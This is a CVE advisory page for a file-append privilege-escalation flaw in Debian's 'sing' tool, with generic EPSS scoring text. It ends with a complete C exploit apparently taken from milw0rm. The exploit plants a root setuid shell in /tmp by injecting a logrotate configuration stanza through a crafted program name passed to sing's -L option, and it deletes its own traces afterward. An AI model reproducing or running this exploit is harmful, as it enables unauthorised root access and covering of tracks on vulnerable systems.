CVE Descriptions

Send ICMP Nasty Garbage (sing) on Debian GNU/Linux allows local users to append to arbitrary files and gain privileges via the -L (output log file) option. NOTE: this issue is only a vulnerability in limited environments, since sing is not installed setuid, and the administrator would need to override a non-setuid default during installation.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

/* sing file append exploit by bannedit 12/05/2007 The original reporter of this issue included an example session which added an account to the machine. The method for this exploit is slightly different and much more quiet. Although it relies upon logrotate for help. This could easily be modified to work with cron daemons which are not too strict about the cron file format. However, when I tested vixie cron it appears that there are better checks for file format compilance these days. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #define SING_PATH "/usr/bin/sing" char *file = "/etc/logrotate.d/sing"; char *evilname = "\n/tmp/sing {\n daily\n size=0\n firstaction\n chown root /tmp/shell; chmod 4755 /tmp/shell; rm -f /etc/logrotate.d/sing; rm -f /tmp/sing*\n endscript\n}\n\n\n"; int main() { FILE *fp; int pid; puts("sing file append exploit"); puts("------------------------"); puts("by bannedit"); if(fp = fopen("/tmp/shell", "w+")) { fputs("#!/bin/bash\n", fp); fputs("/bin/bash -p", fp); fclose(fp); system("touch /tmp/sing; echo garbage >> /tmp/sing"); } else { puts("error making shell file"); exit(-1); } sleep(5); printf("done sleeping...\n"); execl(SING_PATH, evilname, "-Q", "-c", "1", "-L", file, "localhost", 0); return 0; } // milw0rm.com [2007-12-06]
